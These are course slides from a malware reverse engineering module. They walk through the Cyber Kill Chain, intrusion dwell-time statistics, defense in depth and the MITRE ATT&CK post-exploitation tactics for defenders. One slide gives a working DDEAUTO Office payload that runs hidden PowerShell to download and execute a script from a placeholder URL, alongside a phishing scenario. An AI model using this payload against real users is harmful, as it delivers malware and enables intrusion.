Adversary Tactics, Techniques, and Procedures

Reverse Engineering – Adversary Tactics, Techniques, and Procedures

Albert López - newlog@overflowedminds.net

Goals

What can you expect after this module?

Goals

1. Understand intrusion stages

1. Learn some common post exploitation techniques

Introduction

One of the main reverse engineering jobs out there is analyzing malware.

Malware authors have a very specific objective:

- Compromise systems in order to get some gain.

An experienced malware reverse engineer understands the common stages in a compromise and what techniques are used to achieve the goals.

Adversary TTPs → Introduction

There are many objectives a **threat actor** can go after.

The most common goals are:

- Obtaining IP (Intellectual Property) or any kind of information
- Service disruption
- Infrastructure hijack (to pursue further attacks)

Any type of attack has its craft, but most likely the intrusion to obtain information might be the most sophisticated given that:

- Attackers must wander through all network until finding the information
- Remain undetected as much time as possible

Attack Taxonomy

Cyber Kill Chain

Attacks, either in the military space or in the digital space follow patterns.

There have been many efforts trying to describe those patterns.

One of the most prominent attempts comes from Lockheed Martin, when they migrated the military term "Kill Chain" into the digital space.

- Why was all this needed?

The first step at solving a problem is defining it.

Adversary TTPs → Attack Taxonomy → Cyber Kill Chain

Identify company's employees through Linkedin. Guess or obtain emails for lower level positions as well as management.

Mock management email to employee demanding to check the spreadsheet you attach.

Malware sample will achieve persistence in compromised system.

Malware operator will pursue further actions on compromised network.

Build Office document with a DDE payload [1]

DDE is triggered. Powershell script will drop a FUD malware sample.

Malware sample will engage with C2 and await orders.

1 { DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('<url>/<script>.ps1');powershell -e $e "}

As a malware reverse engineer, **you need to be engaged with all those stages**.

For example, aside from having to reverse engineer binary malware samples you will need to understand exploitation vectors and exploit payloads. For example:

- Analyzing PDFs (javascript payloads, PDF reader exploits)
- Analyzing Office documents (macros, Office exploits)
- Analyzing network traffic
- Shellcode analysis
- (...)

Unfortunately, we won't cover these steps in this course (maybe shellcode analysis though!).

I hope the fact you still have a lot to learn keeps you motivated! :)

We will focus on the following stages:

- Installation
- Command and Control
- Actions and Objectives

This is what is commonly known as **post exploitation**.

Since the origin of time, companies have focused their efforts in **defending the perimeter**.

That is what most security services provided back in the day:

- Security assessments
- Penetration tests
- Source code audits

All of them are commonly focused on identifying if attackers can breach perimeter controls.

Problem is, once the **perimeter is breached**, then what?!

Some statistics say that:

- Intrusion Average Detection Time Worldwide [1]: 146 days

1 FireEye report June 2016

Some statistics say that:

- Intrusion Average Detection Time Worldwide [1]: 146 days
- Intrusion Average Detection Time EMEA [1]: **469 days!!**

1 FireEye report June 2016

Some statistics say that:

- Intrusion Average Detection Time Worldwide [1]: 146 days
- Intrusion Average Detection Time EMEA [1]: **469 days!!**
- Intrusion Average Detection Time US (2017) [2]: 99 days
- Average Cost of Intrusion US (2017) [2]: $4M

1 FireEye report June 2016
2 Gartner report June 2017

Let's take the shortest dwell time…

In 99 days attackers have enough time to do whatever they want!

If we tie this information with the new trend called "Assume Breach"...

....We are not in a very good position.

Not everything is gloom and doom though!

Year after year looks like dwell time is decreasing.

Slowly but surely, the *assume breach* approach is also taking off, thus making companies also focus on:

- Intra-network security controls
- Log and alert centralization
- Avoiding alert fatigue
- Establishing incident response processes
- Red team exercises

However, to start working on the assume breach model we need a different and improved version of the cyber kill chain.

There's where the **MITRE ATT&CK Framework** comes to help.

MITRE ATT&CK

"MITRE's Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) is a curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary's lifecycle and the platforms they are known to target."

What we will focus is on the definition they make regarding the post-exploitation actions threat actors carry out.

Understanding this will allow to build proper security strategies to reduce the dwell time.

Once a system is compromised, the following actions “types” can be taken (in no specific order):

- Persistence
- Privilege Escalation
- Defense Evasion
- Credential Access
- Discovery
- Lateral Movement
- Execution
- Collection
- Exfiltration
- Command and Control

Being able to break an attack down into different stages is the first step to categorize any technique used at any stage.

MITRE ATT&CK focuses on behavior vs IOCs. Thus, not depending on:

- An **infinite number of highly dynamic absolute values**

VS

- A **limited number** of known techniques/patterns.

What is even more interesting is that **threat actors use over and over the same patterns**.

You might see complete different threat actors using the same techniques to achieve persistence in a system.

However, even if the technique is the same, the specific values to achieve persistence will be completely different.

Threat actors are **limited by resources**, the same as companies/governments

- Modifying IOCs is a low cost task.
- Modifying techniques has a greater cost.

This is the Windows ATT&CK matrix

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Exfiltration	Command and Control
Accessibility Features	Access Token Manipulation	Access Token Manipulation	Account Manipulation	Account Discovery	Application Deployment Software	Command-Line Interface	Audio Capture	Automated Exfiltration	Commonly Used Port
AppCert DLLs	Accessibility Features	Binary Padding	Brute Force	Application Window Discovery	Distributed Component Object Model	Dynamic Data Exchange	Automated Collection	Data Compressed	Communication Through Removable Media
AppInit DLLs	AppCert DLLs	Bypass User Account Control	Credential Dumping	File and Directory Discovery	Exploitation of Vulnerability	Execution through API	Browser Extensions	Data Encrypted	Connection Proxy
Application Shimming	AppInit DLLs	Code Signing	Credentials in Files	Network Service Scanning	Logon Scripts	Execution through Module Load	Clipboard Data	Data Transfer Size Limits	Custom Command and Control Protocol
Authentication Package	Application Shimming	Component Firmware	Exploitation of Vulnerability	Network Share Discovery	Pass the Hash	Graphical User Interface	Data Staged	Exfiltration Over Alternative Protocol	Custom Cryptographic Protocol
Bootkit	Bypass User Account Control	Component Object Model Hijacking	Forced Authentication	Peripheral Device Discovery	Pass the Ticket	InstallUtil	Data from Local System	Exfiltration Over Command and Control Channel	Data Encoding
Browser Extensions	DLL Search Order Hijacking	DLL Search Order Hijacking	Hooking	Permission Groups Discovery	Remote Desktop Protocol	LSASS Driver	Data from Network Shared Drive	Exfiltration Over Other Network Medium	Data Obfuscation

(...)

Defense in Depth

The MITRE ATT&CK Matrix is useful to introduce the **Defense in Depth** idea.

This, again, is a concept borrowed from the military and introduced by NSA into the digital world.

The idea is to apply multiple layers of security in order to be able to detect/prevent an attack at a given stage.

Adversary TTPs → Attack Taxonomy → Defense in Depth

By following a Defense in Depth strategy and with the help of frameworks such as MITRE ATT&CK, many different security strategies can be taken.

For example,

- Assuming endpoint controls are easier to implement, **one could focus on persistence-focused security controls** instead of exfiltration ones.

- However, if you are securing IOT devices, you might want to avoid persistence security controls once you understand that IOT botnets do not focus on persistence but re-infection.

- You might also want to prioritize on what TTPs threat actors in your vertical (technology, retail, government, energy, etc) use regularly.

The most interesting concept is that **you do not need to detect all techniques**, but just by implementing a successful security control might be enough to disrupt an attack.

MITRE ATT&CK

Persistence

"Persistence is any access, action, or configuration change to a system that gives an adversary a persistent presence on that system."

Examples:

- Persistence through registry
- Persistence through scheduled tasks
- Persistence through startup folders
- Persistence through services

Privilege Escalation

"Privilege escalation is the result of actions that allow an adversary to obtain a higher level of permissions on a system or network."

Examples:

- Exploitation of a vulnerability
- DLL Search Order Hijacking

Defense Evasion

"Defense evasion consists of techniques an adversary may use to evade detection or avoid other defenses."

Examples:

- Execute DLL through regsvr32
- NTFS Extended Attributes
- RunDLL32

Credential Access

"Credential access represents techniques resulting in access to or control over system, domain, or service credentials that are used within an enterprise environment."

Examples:

- Credential dumping
- Bruteforce attacks
- Input capture
- Private key search

Discovery

"Discovery consists of techniques that allow the adversary to gain knowledge about the system and internal network."

Examples:

- System Network Configuration Discovery
- Process discovery
- Remote System Discovery

Lateral Movement

"Lateral movement consists of techniques that enable an adversary to access and control remote systems on a network and could, but does not necessarily, include execution of tools on remote systems."

Examples:

- Pass the hash
- Pass the ticket
- Remote Desktop Protocol
- WinRM

Execution

"The execution tactic represents techniques that result in execution of adversary-controlled code on a local or remote system."

Examples:

- Windows Management Instrumentation (WMI)
- Command Line
- Scripting
- Powershell
- RunDLL, regsvr32, scheduled task, services

Collection

"Collection consists of techniques used to identify and gather information, such as sensitive files, from a target network prior to exfiltration."

Examples:

- Audio/Video/Screen capture
- Email collection
- Man in the Browser

Exfiltration

"Exfiltration refers to techniques and attributes that result or aid in the adversary removing files and information from a target network."

Examples:

- Exfiltration through covert channels
  - ICMP
  - DNS
- Exfiltration over physical medium

Command and Control

"The command and control tactic represents how adversaries communicate with systems under their control within a target network."

Examples:

- Custom Cryptographic Protocol
- Standard Cryptographic Protocol (e.g. SSL/TLS)
- Standard Application Layer Protocol (HTTP, DNS)
- Data Obfuscated

Homework

1. **Analyze the MITRE ATT&CK Matrix and choose one TTP that looks interesting**

Write a short explanation on why you chose that TTP, what does it have of special, why is it interesting, what surprised you about it, etc.

Maybe you can write about improvements, flaws, come up with non-existent attacks in a given category, etc.